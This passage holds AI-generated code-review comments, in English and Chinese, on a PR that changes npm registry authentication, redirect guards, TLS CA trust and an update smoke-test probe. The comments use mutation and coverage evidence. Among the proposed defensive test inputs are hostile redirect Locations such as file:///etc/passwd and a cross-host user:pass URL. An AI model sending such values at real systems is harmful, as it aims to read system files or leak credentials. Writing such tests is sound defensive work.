-> through built dist: registry / "registry error"
FIX FLIP（把 userinfo 提升为头，并从 URL 中剥离）
-> {"registry":"https://nexus.corp/repository/npm/","authorization":"Basic dXNlcjp0b2tvbg=="}
<- 与实测的 npm 头逐字节一致，且凭据已从 URL 中消失
需要知道的是：做这个转换的不是 npm-registry-fetch/lib/auth.js 里的 Auth 类——该类只读 :_authToken/:_auth/:username/:_password——所以只检查 npm 的 auth 模块是看不出这个差异的。
请在该保护之前把 userinfo 提升为请求头，只对协议情况保留抛异常（代码见上方英文部分的 ts 块）。或者，如果拒绝 userinfo 是有意为之，请把版本查询降级到公共默认值而不是直接中止——归档包下载走的是 QWEN_UPDATE_BASE_URL（resolveUpdateBaseUrl()，standalone-update.ts:69）而不是这个 registry，所以降级查询不会改变字节的来源。
无论哪种方案，脱敏约束都必须保持：npm-registry-config.test.ts:118-133 固定了 'https://user:secret@registry.test'、'ftp://registry.test' 与 'invalid-secret-value' 三种输入都抛异常且 expect(String(error)).not.toContain('secret')，因此推导出的头绝不能回到 URL 或错误消息中。现有针对 userinfo 输入的 'rejects unsafe registry config without exposing its value (%s)' 用例目前固定的是相反行为，需要改写为断言 { registry: new URL('https://registry.test/'), authorization: 'Basic dXNlcjpzZWNyZXQ=' }，并断言 lookup().registry.href 不含 secret——改写后的这个用例就是「移除 userinfo 提升后必须变红」的那个测试。
— qwen3.8-max via Qwen Code /review (v0.25.1)
| const name = suffix.startsWith('//') | ||
| ? suffix | ||
| : suffix.toLowerCase().replace(/(?!^)_/g, '-'); |
There was a problem hiding this comment.
[Suggestion] R1-5: this suffix.startsWith('//') special case is the only thing that makes an environment-supplied registry credential usable at all, and no test in this PR ever exercises it — deleting the guard is provably test-invisible.
This is one of five guards added by this diff that a mutation sweep or coverage run shows no test can detect the removal of; the shared pattern and the other four sites are listed in the companion comments. Here specifically: npm-registry-config.test.ts stubs only npm_config_globalconfig, NPM_CONFIG_USERCONFIG, npm_config_registry, npm_config_@qwen-code:registry, LOCAL_REGISTRY_TOKEN and NPM_TOKEN, and updateCheck.test.ts's new beforeEach blanks every npm_config_* and then sources its dummy-token from a file. So the branch deciding whether npm_config_//registry.test/:_authToken survives normalization verbatim has zero coverage.
Drop the guard — a natural simplification, and one this repo's own "Simplicity First / no flexibility that wasn't requested" principle actively invites — and the key normalizes to //registry.test/:-authtoken (the leading _ of _authToken also becomes -), the lookup at config.get(${key}_authToken) misses, and getGlobalNpmRegistryConfig returns { registry } with no authorization. All 12 tests here and all 43 in updateCheck.test.ts still pass. The user-visible effect is a silent 401 from a private registry for exactly the population that injects the token through CI env rather than a file, surfacing as "registry error" with nothing pointing at the dropped header.
Witness:
coverage-final.json for src/utils/npm-registry-config.ts:
{line 66, type branch, pathHits [0]} <- the '//' arm is never taken
{line 67, hits 0}
{line 68, hits 38} <- 38 npm_config_* keys normalized instead
Test Files 2 passed (2) / Tests 55 passed (55)
grep 'npm_config_//' over packages/ -> 0 matches, of 17 npm_config_*/NPM_* stubs
node: '//registry.test/:_authToken'.toLowerCase().replace(/(?!^)_/g,'-')
-> "//registry.test/:-authtoken"
Because the mutation can only change behaviour for a key starting with //, and that branch executes 0 times in 55 tests, removing it cannot fail anything.
Add one case here — vi.stubEnv('npm_config_//registry.test/:_authToken', 'env-token') with user('registry=https://registry.test/'), asserting lookup().authorization === 'Bearer env-token' — plus a companion asserting an env credential at a different host is not attached, so the branch is pinned on both the produce and the refuse side. Removing the startsWith('//') guard must turn the first red. The normalization must keep the (?!^)_ → - rule for non-// keys, which npm_config_@qwen-code:registry → https://scope-env.test/ already pins, so do not widen the special case to any key containing / or :.
中文说明
[Suggestion] R1-5：这个 suffix.startsWith('//') 特例是让环境变量提供的 registry 凭据可用的唯一机制，而本 PR 没有任何测试覆盖它——删掉这个保护在测试上是可证明地不可见的。
这是本 diff 新增的五个保护之一：变异扫描或覆盖率运行表明，没有任何测试能发现它们被删除。共性模式与其余四处见配套的几条评论。就此处而言：npm-registry-config.test.ts 只 stub 了 npm_config_globalconfig、NPM_CONFIG_USERCONFIG、npm_config_registry、npm_config_@qwen-code:registry、LOCAL_REGISTRY_TOKEN 与 NPM_TOKEN；而 updateCheck.test.ts 新增的 beforeEach 会清空所有 npm_config_*，然后从文件中取得它的 dummy-token。因此决定 npm_config_//registry.test/:_authToken 是否原样保留的这条分支覆盖率为零。
去掉这个保护——这是一种很自然的简化，而且本仓库自己的「Simplicity First / 不做未被要求的灵活性」原则恰恰在鼓励这种简化——该键会被规范化成 //registry.test/:-authtoken（_authToken 的前导 _ 也变成 -），config.get(${key}_authToken) 查不到，getGlobalNpmRegistryConfig 返回不带 authorization 的 { registry }。此处 12 个测试与 updateCheck.test.ts 的 43 个测试仍全部通过。用户可见的后果是：恰恰是那些通过 CI 环境变量而非文件注入令牌的用户，会静默收到私有 registry 的 401，表现为 "registry error"，且没有任何信息指向被丢掉的请求头。
证据：
coverage-final.json for src/utils/npm-registry-config.ts:
{line 66, type branch, pathHits [0]} <- '//' 分支从未被走到
{line 67, hits 0}
{line 68, hits 38} <- 38 个 npm_config_* 键走了规范化分支
Test Files 2 passed (2) / Tests 55 passed (55)
grep 'npm_config_//' over packages/ -> 0 matches, of 17 npm_config_*/NPM_* stubs
node: '//registry.test/:_authToken'.toLowerCase().replace(/(?!^)_/g,'-')
-> "//registry.test/:-authtoken"
由于该变异只可能改变以 // 开头的键的行为，而这条分支在 55 个测试中执行 0 次，删除它不可能让任何测试失败。
请在此补一个用例——vi.stubEnv('npm_config_//registry.test/:_authToken', 'env-token') 配合 user('registry=https://registry.test/')，断言 lookup().authorization === 'Bearer env-token'——再加一个配套用例，断言指向不同主机的环境变量凭据不会被附加，使该分支在「产生」与「拒绝」两侧都被固定。移除 startsWith('//') 保护后第一个用例必须变红。对非 // 键必须保留 (?!^)_ → - 规则（npm_config_@qwen-code:registry → https://scope-env.test/ 已经固定了这一点），所以不要把特例扩大到任何含 / 或 : 的键。
— qwen3.8-max via Qwen Code /review (v0.25.1)
| if (!location || redirects === 5) { | ||
| throw new Error('Invalid npm registry redirect'); | ||
| } |
There was a problem hiding this comment.
[Suggestion] R1-7: an 8-mutant sweep over the redirect guards this loop adds left 7 surviving with the suite green throughout — including redirect: 'manual' itself, the option the entire guard chain depends on.
One of five guards added by this diff whose removal no test detects; the shared pattern and the other four sites are in the companion comments. The two new redirect tests ('follows a %s redirect without forwarding credentials across origins') assert only happy-path behaviour: credentials kept same-origin, dropped cross-origin, shared signal. Untested are the protocol allow-list and username/password rejection at :201-203, !location, the redirects === 5 hop cap, the new URL(location, url) catch, and statuses 301/303/307/308 — and redirect:'manual' is never asserted anywhere.
Witness — the comparator is live, so "7 survived" is a measurement and not a dead harness:
m1 remove redirect:'manual' SURVIVED
m2 drop next.username || next.password SURVIVED | Tests 43 passed (43)
m3 drop the ['https:','http:'] allow-list SURVIVED
m4 hop cap redirects === 5 -> 500 SURVIVED
m5 drop the !location term SURVIVED
m6 status set -> [302] only SURVIVED | Tests 43 passed (43)
m7 drop the malformed-Location try/catch SURVIVED
m8 drop `if (next.origin !== url.origin) auth = undefined;`
KILLED | Tests 1 failed | 42 passed (43)
RESTORED pristine => rc=0 | Tests 43 passed (43)
control mutants in npm-registry-config.ts (the sibling file's guards ARE pinned):
drop URL-safety guard => rc=1 | Tests 2 failed | 10 passed (12)
drop Headers validation => rc=1 | Tests 1 failed | 11 passed (12)
Two consequences were then reproduced against pristine code. Dropping a status is a hard user-visible failure, not a silent one: facing an always-307 registry, pristine code follows it (6 calls) while the [302]-only mutant throws Registry returned HTTP 307 after 1 call — that is a registry's temporary-mirror redirect becoming a dead update check. And removing redirect:'manual' disables the whole guard chain in production while a mocked fetch still returns the 302 the loop inspects, so the tests cannot see it.
Behavioural facts for writing the cases, all measured on unmodified code with a stubbed fetch: an endless same-origin 302 chain gives THREW: Invalid npm registry redirect with fetch call count = 6; a 302 with no Location, location: https://user:pass@other.test/tags, and location: file:///etc/passwd each throw Invalid npm registry redirect after exactly 1 call. So the new cases will assert true behaviour rather than encode a bug.
Parameterize the existing it.each over [301, 302, 303, 307, 308], add the four rejection cases above plus a six-hop chain, each asserting rejects.toThrow('Invalid npm registry redirect') and that fetch was never called with the token against the hostile origin, and assert redirect: 'manual' on the first call's options. Deleting any one of the seven surviving guard terms must then turn a case red. Two constraints for the multi-hop cases: the existing test pins expect(fetch.mock.calls[0][1].signal).toBe(fetch.mock.calls[1][1].signal) — one AbortSignal.timeout(FETCH_TIMEOUT_MS) shared across all hops (:179) — so do not assume a fresh per-hop budget; and redirects === 5 means at most 5 followed hops / 6 requests.
中文说明
[Suggestion] R1-7：对这段循环新增的重定向保护做了 8 个变异体的扫描，结果7 个存活且测试套件全程保持绿色——其中包括 redirect: 'manual' 本身，也就是整条保护链所依赖的那个选项。
这是本 diff 新增的五个「删除后无测试可发现」的保护之一；共性模式与其余四处见配套评论。两个新增的重定向测试（'follows a %s redirect without forwarding credentials across origins'）只断言了正常路径行为：同源保留凭据、跨源丢弃凭据、共享 signal。未覆盖的有 :201-203 的协议白名单与 username/password 拒绝、!location、redirects === 5 的跳数上限、new URL(location, url) 的 catch，以及 301/303/307/308 这几个状态码——而 redirect:'manual' 在任何地方都没有被断言过。
证据——比较器是有效的，所以「7 个存活」是实测结果，而不是失效的测试框架：
m1 remove redirect:'manual' SURVIVED
m2 drop next.username || next.password SURVIVED | Tests 43 passed (43)
m3 drop the ['https:','http:'] allow-list SURVIVED
m4 hop cap redirects === 5 -> 500 SURVIVED
m5 drop the !location term SURVIVED
m6 status set -> [302] only SURVIVED | Tests 43 passed (43)
m7 drop the malformed-Location try/catch SURVIVED
m8 drop `if (next.origin !== url.origin) auth = undefined;`
KILLED | Tests 1 failed | 42 passed (43)
RESTORED pristine => rc=0 | Tests 43 passed (43)
control mutants in npm-registry-config.ts（同级文件的保护是**有**测试固定的）:
drop URL-safety guard => rc=1 | Tests 2 failed | 10 passed (12)
drop Headers validation => rc=1 | Tests 1 failed | 11 passed (12)
随后在未修改代码上复现了两个后果。丢掉某个状态码是用户可见的硬失败而非静默失败：面对一个总是返回 307 的 registry，原始代码会跟随它（6 次调用），而只保留 [302] 的变异体在1 次调用后就抛出 Registry returned HTTP 307——这意味着 registry 的临时镜像重定向会变成彻底失效的更新检查。而移除 redirect:'manual' 会在生产中禁用整条保护链，同时被 mock 的 fetch 仍然返回循环要检查的那个 302，所以测试看不见这件事。
编写用例所需的行为事实，均在未修改代码上用 stub 的 fetch 实测：无止境的同源 302 链得到 THREW: Invalid npm registry redirect 且 fetch call count = 6；没有 Location 的 302、location: https://user:pass@other.test/tags、location: file:///etc/passwd 各自在恰好 1 次调用后抛出 Invalid npm registry redirect。因此新用例断言的是真实行为，而不是把 bug 固化下来。
请把现有 it.each 参数化到 [301, 302, 303, 307, 308]，补上上述四个拒绝用例以及一个六跳链，每个都断言 rejects.toThrow('Invalid npm registry redirect') 且 fetch 从未带着令牌去调用恶意源，并断言第一次调用的选项中含 redirect: 'manual'。此后删除那七个存活保护项中的任意一项都必须让某个用例变红。多跳用例有两个约束：现有测试固定了 expect(fetch.mock.calls[0][1].signal).toBe(fetch.mock.calls[1][1].signal)——所有跳共享同一个 AbortSignal.timeout(FETCH_TIMEOUT_MS)（:179）——所以不要假设每跳有新的超时预算；并且 redirects === 5 意味着最多跟随 5 跳 / 发出 6 次请求。
— qwen3.8-max via Qwen Code /review (v0.25.1)
| const registry = | ||
| process.env['npm_config_registry'] || 'https://registry.npmjs.org'; | ||
| const url = new URL( | ||
| const { registry, authorization } = getGlobalNpmRegistryConfig(packageName); |
There was a problem hiding this comment.
[Suggestion] R1-8: the new resolver reads registry and credentials out of ~/.npmrc but ignores the TLS-trust keys in that same file, and this request goes out over bare global fetch — so an internal registry that real npm reaches becomes permanently unreachable on the standalone path.
cafile and ca enter the merged config map but are never read anywhere in npm-registry-config.ts; the keys it does consume are userconfig, globalconfig, prefix, registry, ${scope}:registry and the credential quartet. fetchGlobalNpmUpdateInfo then passes only { signal, headers, redirect: 'manual' } (:181-196), so nothing can present a corporate root CA. shared-env-keys.ts:130-131 lists npm_config_cafile/npm_config_ca as live TLS-trust keys, so the codebase already treats them as meaningful.
Take a user whose ~/.npmrc holds registry=https://nexus.corp.internal/repository/npm-group/ plus cafile=/etc/ssl/certs/corp-root-ca.pem — exactly what npm config set cafile writes. Pre-diff the standalone check used process.env['npm_config_registry'] || 'https://registry.npmjs.org', i.e. the public-CA host, and worked. Post-diff the host is the corporate one, undici rejects its chain, the error matches none of NETWORK_ERROR_CODES (:63-69 is ENOTFOUND, ECONNREFUSED, EAI_AGAIN, ETIMEDOUT, ENETUNREACH — no TLS code), so classifyUpdateCheckError returns 'registry' and the user gets a permanent, undiagnosable "registry error" on every startup check. The npm-managed path does not regress, because runGlobalNpm execs real npm which honors cafile — so the two update paths diverge on identical config, against the parity the :93 comment claims.
Witness — reproduced against a real self-signed corporate CA:
ARM A (PR code, real dist; ~/.npmrc = registry=https://127.0.0.1:33793/ + cafile=/tmp/tls/ca.pem)
THREW = TypeError: fetch failed
error.cause = Error: self-signed certificate
cause.code = DEPTH_ZERO_SELF_SIGNED_CERT
classifyUpdateCheckError = registry describeUpdateCheckFailure = registry error
ARM B1 (real npm 10.9.8, IDENTICAL ~/.npmrc)
SERVER HIT: GET /@qwen-code%2fqwen-code ua=npm/10.9.8 node/v22.23.2 linux x64
<- npm completed the TLS handshake and read the body
ARM C (PR code + NODE_EXTRA_CA_CERTS=/tmp/tls/ca.pem)
RESULT = {"latest":"9.9.9","current":"1.0.0","type":"latest",...}
ARM C also bounds the affected population: undici honors NODE_EXTRA_CA_CERTS, so only users whose CA lives exclusively in npm's cafile/ca regress. The regression is scoped to the file tier — a user with the registry in npm_config_registry already hit the identical undici TLS rejection pre-diff.
Either honor the CA keys the resolver already parses by routing this fetch through an undici dispatcher with connect: { ca }, or leave the registry fallback at https://registry.npmjs.org/ when a CA is configured that this request cannot present. One correction to the obvious reuse: getOrCreateSharedDispatcher (packages/core/src/utils/runtimeFetchOptions.ts:246) is not a drop-in here — its signature is (proxyUrl, insecure = isTlsVerificationDisabled()) and it builds EnvHttpProxyAgent with only rejectUnauthorized, so a CA-carrying dispatcher is new work rather than a reuse.
A fix must not also honor strict-ssl=false: shared-env-keys.ts:134-135 lists 'npm_config_strict_ssl' and 'npm_config_strict-ssl' as project-env-excluded keys precisely because they are a verification downgrade, so only the additive CA keys may be read. Please add a case to updateCheck.test.ts's standalone update lookup describe writing registry=https://registry.test/ + cafile=<temp pem> into configDir/user.npmrc, stubbing fetch, and asserting the CA the request was built with — removing the CA plumbing should turn it red.
中文说明
[Suggestion] R1-8：新的解析器会从 ~/.npmrc 读取 registry 与凭据，却忽略同一个文件里的 TLS 信任键，而这个请求是通过裸的全局 fetch 发出的——于是真实 npm 能访问的内网 registry，在 standalone 路径上变得永久不可达。
cafile 与 ca 会进入合并后的配置 map，但在 npm-registry-config.ts 中从未被读取；该文件真正消费的键是 userconfig、globalconfig、prefix、registry、${scope}:registry 以及四个凭据键。随后 fetchGlobalNpmUpdateInfo 只传了 { signal, headers, redirect: 'manual' }（:181-196），因此没有任何机制能出示企业根 CA。shared-env-keys.ts:130-131 把 npm_config_cafile/npm_config_ca 列为有效的 TLS 信任键，说明代码库本身已认为它们有意义。
设想某用户的 ~/.npmrc 含 registry=https://nexus.corp.internal/repository/npm-group/ 与 cafile=/etc/ssl/certs/corp-root-ca.pem——这正是 npm config set cafile 写出的内容。改动前 standalone 检查使用 process.env['npm_config_registry'] || 'https://registry.npmjs.org'，即公共 CA 的主机，因此可以工作。改动后主机变成企业内网地址，undici 拒绝其证书链，该错误不匹配 NETWORK_ERROR_CODES 中任何一项（:63-69 为 ENOTFOUND, ECONNREFUSED, EAI_AGAIN, ETIMEDOUT, ENETUNREACH——没有 TLS 相关码），于是 classifyUpdateCheckError 返回 'registry'，用户每次启动检查都会得到一个永久且无法定位的 "registry error"。npm 托管路径不会回归，因为 runGlobalNpm 执行的是真实 npm，它会尊重 cafile——所以在完全相同的配置下，两条更新路径出现分歧，这与 :93 注释所声称的一致性相矛盾。
证据——针对真实的自签名企业 CA 复现：
ARM A (PR code, real dist; ~/.npmrc = registry=https://127.0.0.1:33793/ + cafile=/tmp/tls/ca.pem)
THREW = TypeError: fetch failed
error.cause = Error: self-signed certificate
cause.code = DEPTH_ZERO_SELF_SIGNED_CERT
classifyUpdateCheckError = registry describeUpdateCheckFailure = registry error
ARM B1 (real npm 10.9.8, IDENTICAL ~/.npmrc)
SERVER HIT: GET /@qwen-code%2fqwen-code ua=npm/10.9.8 node/v22.23.2 linux x64
<- npm 完成了 TLS 握手并读取了响应体
ARM C (PR code + NODE_EXTRA_CA_CERTS=/tmp/tls/ca.pem)
RESULT = {"latest":"9.9.9","current":"1.0.0","type":"latest",...}
ARM C 同时界定了受影响人群：undici 会尊重 NODE_EXTRA_CA_CERTS，因此只有 CA 仅存在于 npm 的 cafile/ca 中的用户才会回归。该回归限定在文件配置层——把 registry 放在 npm_config_registry 里的用户在改动前就会遇到完全相同的 undici TLS 拒绝。
修复方向：要么让解析器已经解析出的 CA 键生效，即把这个 fetch 走一个带 connect: { ca } 的 undici dispatcher；要么在配置了本请求无法出示的 CA 时，把 registry 回退保持在 https://registry.npmjs.org/。关于一个看似显然的复用需要更正：getOrCreateSharedDispatcher（packages/core/src/utils/runtimeFetchOptions.ts:246）在这里不能直接使用——它的签名是 (proxyUrl, insecure = isTlsVerificationDisabled())，构造的 EnvHttpProxyAgent 只带 rejectUnauthorized，因此携带 CA 的 dispatcher 是新增工作而非复用。
修复不得同时尊重 strict-ssl=false：shared-env-keys.ts:134-135 把 'npm_config_strict_ssl' 与 'npm_config_strict-ssl' 列为项目环境排除键，正因为它们是校验降级，所以只可读取具有加法性质的 CA 键。请在 updateCheck.test.ts 的 standalone update lookup describe 中补一个用例：把 registry=https://registry.test/ + cafile=<临时 pem> 写入 configDir/user.npmrc，stub fetch，并断言构造请求时所用的 CA——移除 CA 相关改动后该用例应变红。
— qwen3.8-max via Qwen Code /review (v0.25.1)
| interpreter, | ||
| [ | ||
| '-e', | ||
| 'console.log(JSON.stringify({runtime:process.versions.bun?"bun":"node",platform:process.platform,arch:process.arch}))', |
There was a problem hiding this comment.
[Suggestion] R1-9: this probe's program text — the only thing that produces the value the new identity guard compares — is never executed by any test. The fixture answers -e with a canned string, so the guard's premise is unpinned.
standalone-update.test.ts:492 writes if [ "$1" = "-e" ]; then printf '%s\n' '<canned JSON>', so the literal above is passed as an argv string and never evaluated by an interpreter. A grep for execPath|spawn(|execFile across that test file returns zero matches: nothing in the suite ever asks a real Node or Bun what process.versions.bun / process.platform / process.arch return.
Transpose the literal to platform:process.arch,arch:process.platform and all 109 tests still pass, while in production every standalone update on every platform fails the smoke test at activation and rolls back — users stop receiving updates with no red test. In the other direction, a probe that emitted the expected values unconditionally would make the whole guard inert and equally green.
Witness:
✓ src/ui/standalone-update.test.ts (109 tests) 501ms
Tests 109 passed (109)
grep -E 'execPath|spawn\(|execFile' src/ui/standalone-update.test.ts -> no matches
fixture source :492 -> #!/bin/sh, special-casing $1 = "-e"
To be clear about what is not wrong: the probe contract does hold on both real runtimes today. The pinned Bun was run with this exact payload — ~/.bun/bin/bun --version → 1.3.14 (DEFAULT_BUN_VERSION, scripts/build-standalone-release.js:65) — and returned {"runtime":"bun","platform":"linux","arch":"x64"} exit 0; node -e returned {"runtime":"node","platform":"linux","arch":"x64"} exit 0. So this is a pinning gap, not a live defect, which is why it is a Suggestion.
Hoist the probe source into an exported constant that smokeTest uses, and add one test that spawns the real process.execPath with ['-e', PROBE] and asserts the parsed stdout toEqual({ runtime: 'node', platform: process.platform, arch: process.arch }) — an oracle taken from the real runtime rather than from the fixture's model of it. That test must go red when the literal's platform/arch values are transposed, or when process.versions.bun?"bun":"node" is replaced by a constant; no existing test does. Keep the constraint at :442 in mind: { timeout: timeoutMs, killSignal: 'SIGKILL', maxBuffer: 64 * 1024 } means the probe output must stay under 64 KiB and remain a single -e argument acceptable to both the Node and Bun interpreters selected at :480.
中文说明
[Suggestion] R1-9：这段探针的程序文本——唯一产生「新身份保护所要比较的值」的东西——从未被任何测试执行过。测试替身对 -e 直接返回一段写死的字符串，因此该保护的前提没有被固定住。
standalone-update.test.ts:492 写的是 if [ "$1" = "-e" ]; then printf '%s\n' '<canned JSON>'，所以上面这段字面量只是作为 argv 字符串传入，从未被任何解释器求值。在该测试文件中 grep execPath|spawn(|execFile 返回零匹配：整个测试套件从未向真实的 Node 或 Bun 询问过 process.versions.bun / process.platform / process.arch 的返回值。
把该字面量改成 platform:process.arch,arch:process.platform，109 个测试仍然全部通过，而在生产中每个平台的每次 standalone 更新都会在激活时的冒烟测试失败并回滚——用户停止收到更新，却没有任何测试变红。反过来，一个无条件输出期望值的探针会让整个保护形同虚设，而测试同样全绿。
证据：
✓ src/ui/standalone-update.test.ts (109 tests) 501ms
Tests 109 passed (109)
grep -E 'execPath|spawn\(|execFile' src/ui/standalone-update.test.ts -> no matches
fixture source :492 -> #!/bin/sh, special-casing $1 = "-e"
需要明确「什么并没有错」：该探针契约今天在两个真实运行时上都是成立的。用这段完全相同的 payload 运行了固定版本的 Bun——~/.bun/bin/bun --version → 1.3.14（DEFAULT_BUN_VERSION，scripts/build-standalone-release.js:65）——返回 {"runtime":"bun","platform":"linux","arch":"x64"} 且退出码 0；node -e 返回 {"runtime":"node","platform":"linux","arch":"x64"} 且退出码 0。所以这是一个「未被固定」的缺口，而不是现实缺陷，因此定为 Suggestion。
请把探针源码提升为 smokeTest 使用的导出常量，并补一个测试：用真实的 process.execPath 加 ['-e', PROBE] 启动子进程，断言解析后的 stdout toEqual({ runtime: 'node', platform: process.platform, arch: process.arch })——让 oracle 来自真实运行时，而不是测试替身对它的模拟。当字面量中的 platform/arch 被对调，或 process.versions.bun?"bun":"node" 被替换为常量时，该测试必须变红；现有测试都做不到。请注意 :442 的约束：{ timeout: timeoutMs, killSignal: 'SIGKILL', maxBuffer: 64 * 1024 } 意味着探针输出必须小于 64 KiB，并且必须保持为单个 -e 参数，以便 :480 选出的 Node 与 Bun 两种解释器都能接受。
— qwen3.8-max via Qwen Code /review (v0.25.1)
| let actual: unknown; | ||
| try { | ||
| actual = JSON.parse(identity.stdout); | ||
| } catch { | ||
| throw new Error('Smoke test failed: invalid interpreter identity'); | ||
| } |
There was a problem hiding this comment.
[Suggestion] R1-10: every identity-probe failure mode collapses into one fixed message that discards the exit code, stderr and interpreter path — and because both new throws share the substring interpreter identity, the malformed-output guard has zero test coverage.
JSON.parse(identity.stdout) runs before identity.exitCode !== 0 is inspected (that check sits in the mismatch if at :514), so a probe that produced no output never reaches it. And the only assertion in the suite is rejects.toThrow('interpreter identity'), which matches :510 ('invalid interpreter identity') and :524 ('interpreter identity does not match the expected runtime and target') alike — so it cannot tell which guard fired. Since all four it.each cases emit parseable JSON (JSON.stringify([]) parses fine and trips Array.isArray), every case lands on :524.
A user with NODE_OPTIONS=--require=/gone/hook.js runs /update: execFile at :440-443 is passed no env, so the child inherits the ambient environment, exits nonzero with the real reason on stderr and nothing on stdout, JSON.parse('') throws, and the update is blocked with Smoke test failed: invalid interpreter identity. That one message covers a corrupt download, a runtime that does not support -e, a wrong-arch archive, and a bug in the new check itself. The oncall gets no exit code, no stderr, no actual-vs-expected triple and no interpreter path — while the --version probe 20 lines below does report exitCode and stderr.trim(). A future change turning this catch into actual = undefined, or swallowing it and letting the update proceed, passes the existing test unchanged.
Witness — coverage on the unmodified tree, 109 tests passing:
branch line 509 pathHits=[0] <- the catch is never taken
stmt line 510 hits=0 <- 'invalid interpreter identity' NEVER EXECUTED
stmt line 511 hits=0
branch line 511 pathHits=[7] <- try path taken 7x
stmt line 508 hits=7 <- JSON.parse ran 7x, never threw
stmt lines 523-526 hits=4 <- the mismatch throw, exactly the four it.each cases
One correction to the contrast above, which does not weaken the point: coverage shows the --version reporting path at :533-538 is never executed either (hits=0), so it is a stylistic precedent in the source rather than a tested one.
Check the exit code first and carry the evidence into both messages — for example Smoke test failed: interpreter identity probe exited with code ${identity.exitCode}${detail ? : ${detail.slice(0, 500)} : ''} before the parse, and Smoke test failed: interpreter identity ${JSON.stringify(actual)} does not match ${runtime}/${platform === 'win' ? 'win32' : platform}/${arch} for the mismatch. The observed object is attacker-independent and contains no secret, so interpolating it is safe. This spans both throw sites, so it is described rather than given as a one-click suggestion.
The phrase interpreter identity must survive verbatim in both messages: standalone-update.test.ts:583-585 asserts rejects.toThrow('interpreter identity') and vitest matches it as a substring, and both messages share the prefix Smoke test failed: so only the full tail distinguishes them. Tighten that assertion to the full tail per case, then add an interpreterIdentity: 'not json' case and one whose fake interpreter exits non-zero for -e — replacing this catch with catch { actual = undefined; } must turn the first red, and merging the two throw sites must turn the tightened assertions red.
中文说明
[Suggestion] R1-10：身份探针的所有失败模式都塌缩成同一条固定消息，丢弃了退出码、stderr 与解释器路径——而且由于两处新增的抛出共享子串 interpreter identity，「输出格式非法」这条保护路径的测试覆盖率为零。
JSON.parse(identity.stdout) 在 identity.exitCode !== 0 被检查之前就执行了（那个检查位于 :514 的 mismatch if 里），因此一个没有产生任何输出的探针永远到不了那里。而测试套件中唯一的断言是 rejects.toThrow('interpreter identity')，它对 :510（'invalid interpreter identity'）与 :524（'interpreter identity does not match the expected runtime and target'）同样匹配——所以无法判断是哪条保护触发的。由于四个 it.each 用例都输出可解析的 JSON（JSON.stringify([]) 能正常解析并触发 Array.isArray），每个用例都落在 :524。
某个设置了 NODE_OPTIONS=--require=/gone/hook.js 的用户执行 /update：:440-443 的 execFile 没有传 env，子进程因此继承环境、以非零码退出、真实原因在 stderr 上而 stdout 为空，JSON.parse('') 抛异常，更新被 Smoke test failed: invalid interpreter identity 拦下。这一条消息同时覆盖了下载包损坏、运行时不支持 -e、架构不匹配的归档包，以及新检查自身的 bug。值班同学拿不到退出码、stderr、actual 与 expected 三元组，也拿不到解释器路径——而下方 20 行的 --version 探针却会上报 exitCode 与 stderr.trim()。将来把这个 catch 改成 actual = undefined，或者干脆吞掉它让更新继续，现有测试都不会有任何变化。
证据——未修改代码树上的覆盖率，109 个测试通过：
branch line 509 pathHits=[0] <- catch 从未被走到
stmt line 510 hits=0 <- 'invalid interpreter identity' 从未执行
stmt line 511 hits=0
branch line 511 pathHits=[7] <- try 路径走了 7 次
stmt line 508 hits=7 <- JSON.parse 执行 7 次，从未抛出
stmt lines 523-526 hits=4 <- mismatch 抛出，恰好对应四个 it.each 用例
对上面的对比需要做一处更正（不削弱结论）：覆盖率显示 :533-538 的 --version 上报路径同样从未执行（hits=0），所以它在源码中只是风格上的先例，而不是已被测试验证的先例。
请先检查退出码，并把证据带进两条消息——例如在解析之前用 Smoke test failed: interpreter identity probe exited with code ${identity.exitCode}${detail ? : ${detail.slice(0, 500)} : ''}，mismatch 则用 Smoke test failed: interpreter identity ${JSON.stringify(actual)} does not match ${runtime}/${platform === 'win' ? 'win32' : platform}/${arch}。被观测的对象不依赖攻击者输入且不含机密，因此插值它是安全的。该改动跨越两个抛出点，所以以文字描述而非一键 suggestion 给出。
短语 interpreter identity 必须在两条消息中逐字保留：standalone-update.test.ts:583-585 断言 rejects.toThrow('interpreter identity')，vitest 按子串匹配，且两条消息共享前缀 Smoke test failed: ，只有完整尾部才能区分它们。请把该断言按用例收紧到完整尾部，然后补一个 interpreterIdentity: 'not json' 用例，以及一个让假解释器对 -e 以非零码退出的用例——把这个 catch 替换为 catch { actual = undefined; } 必须让第一个用例变红，把两个抛出点合并必须让收紧后的断言变红。
— qwen3.8-max via Qwen Code /review (v0.25.1)
| Reflect.get(actual, 'platform') !== | ||
| (platform === 'win' ? 'win32' : platform) || |
There was a problem hiding this comment.
[Suggestion] R1-11: the win → win32 normalization here is unreachable from every test, and the fixture re-derives its expected identity with production's own naive split — so the oracle shares the implementation's blind spot by construction.
One of five guards added by this diff whose removal no test detects; the shared pattern and the other four sites are in the companion comments. Every runnable-archive test is it.skipIf(process.platform === 'win32'), and the only non-default target ever handed to serveArchive is ${os.platform()}-${os.arch()} (:713), which yields linux-*/darwin-* and is itself win32-skipped. Meanwhile serveArchive writes the interpreter at <runtime>/bin/<runtime> while production resolves <runtime>/<runtime>.exe when the target starts with win (:480-482), so no CI platform ever drives a win-* target through smokeTest. The fixture's default identity is platform: fixtureTarget.split('-')[0] (:492), which yields the unmapped 'win' for a win target — the fixture is structurally incapable of expressing the remap.
Delete or invert this ternary and every Windows standalone update fails its smoke test with interpreter identity does not match the expected runtime and target, activation aborts and rolls back, and Windows users silently stop receiving updates — while the whole suite stays green. A test written today as serveArchive({ target: 'win-x64', runnable: true }) would print platform:'win', fail with that same misleading message, and leave the branch it was meant to cover still unpinned while pointing the author at the wrong cause.
Witness — coverage on the unmodified tree, 109 tests passing:
stmt line 481 hits=0 <- the `<runtime>.exe` interpreter path is never taken
stmt line 482 hits=12 <- the bin/<runtime> path, every time
branch line 480 pathHits=[0]
branch line 520 pathHits=[0] and [4] <- the 'win32' arm has never been evaluated
pathHits=[0] on the 'win32' arm is the whole finding: no assertion in the suite can detect deleting or inverting it.
Extract the mapping (e.g. expectedInterpreterIdentity(target, runtime), or a targetPlatform(target) helper) and use it in smokeTest, then pin it directly with literals — a table test asserting 'win-x64' → { platform: 'win32', arch: 'x64' } and 'darwin-arm64' → { platform: 'darwin', arch: 'arm64' } — with no process spawn and no fixture involvement. Replacing the ternary with a bare platform must turn that table red. Then normalize the fixture default the same way, write the interpreter at <runtime>/<runtime>.exe when the fixture target starts with win, and add one win-x64 success case plus one platform:'win' mismatch case — both runnable on a Linux host, since the fake interpreter is a #!/bin/sh script and the .exe suffix is inert there.
